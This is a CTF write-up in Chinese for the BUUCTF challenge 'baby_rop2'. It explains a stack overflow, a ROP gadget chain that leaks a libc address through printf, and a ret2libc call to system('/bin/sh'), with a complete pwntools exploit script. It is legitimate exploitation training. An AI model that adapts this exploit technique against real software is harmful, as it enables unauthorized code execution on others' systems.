天天看點

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

[HarekazeCTF2019]baby_rop2

題目附件

步驟:

例行檢查,64位,開啟了nx保護

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

運作了一下程式,了解大概的執行情況

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

64位ida載入,shift+f12檢索程式裡的字元串,沒有發現可以直接利用的,從main函數開始看程式

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

利用思路:

  1. 程式很簡單,buf的大小是0x20,但是讀入的時候讀入的是0x100,會造成溢出,我們要想辦法覆寫傳回位址為” system(‘/bin/sh’)“,那樣在執行13行語句的時候,程式回去調用我們布置好的棧,進而得到shell
  2. 但是程式裡沒有現成的system(‘/bin/sh’),這需要我們去自己去構造,這邊可以利用read函數,去洩露程式的libc基址,然後去獲得system和/bin/sh字元串的位址
  3. 然後造成溢出,将傳回位址覆寫為system(‘/bin/sh’)

利用過程

一、 洩露libc基址

由于是64位程式,傳參的時候需要用到寄存器

printf函數的原型

int printf( const char* format , [argument] ... );

舉個例子–>print(’%s’,‘hello world’)

大概就是這樣的用法,這邊有兩個參數要設定,是以我們要找到設定rdi,rsi寄存器的指令

ROPgadget --binary babyrop2 |grep "pop rdi"
           
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"
           
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

沒有直接設定rsi寄存器的指令,這邊後面還跟着一個r15,無所謂了,不用r15,給他随便設定一下就好了,我這邊設定的0

pop_rsi=0x400731

我們首先要設定第一個參數,就是帶有類似于%s這種格式的字元串,我這邊是使用的程式裡自帶的語句

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

format_str=0x400770

一開始是打算輸出printf的got表位址的,

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)
           

但是在調試的時候發現沒法使用,就換成了read函數的got表位址了

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)
           

解釋一下這句payload的意思

  1. ‘a’*0x28–>造成溢出,覆寫到了傳回位址
  2. p64(pop_rdi)+p64(format_str)–>我們在原本語句的傳回位址上寫入了pop_rdi,ret,pop_rdi,對應參數format_str,執行後将formast_str的值設定給了rdi,之後執行ret(傳回指令)
  3. p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我們将2中的ret寫成了pop_rsi,pop_r15,ret;執行指令pop_rsi對應參數read_got,将rsi寄存器的值設定成了read函數的got表位址,pop_r15對應參數0,由于我們不用r15,随便設定一下它,我是設定成了0
  4. p64(printf_plt)–>将3中的ret設定成printf函數的plt表位址,實際上就是printf函數的位址,去執行printf函數,輸出我們設定的read函數的位址
  5. p64(main_addr)–> 在完成第一次利用後,得到了程式内read函數的位址,知道了libc基址,我們需要重新回到程式開頭,再次利用這個輸入點去寫入system‘(/bin/sh)’

接收輸出的read函數位址

我平常是這樣寫的,但是這題這樣寫得到的read函數位址不對

read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
           

看别人的wp都是這樣寫的

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
           

問其他師傅是這樣給我解釋的:

接收位址的你看看基本上都是7個位元組的,7f開頭,補全8個位元組

奇怪的知識又增加了

在得到read函數位址後,就可以得到libc版本和這個程式的偏移量了

libc = LibcSearcher('read', read_addr)  #利用libcsearcher庫去查找比對的libc版本
libc_base = read_addr - libc.dump('read')  #計算程式裡的偏移量
           

二、計算程式裡system和/bin/sh的位址

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
           

三、覆寫傳回位址位system(‘/bin/sh ’)

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
           

完整EXP:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731 
format_str = 0x0000000000400770  
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)


read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
           

得到shell後利用

find -name ”flag“

去找到flag檔案的位置

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

最後讀出flag

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2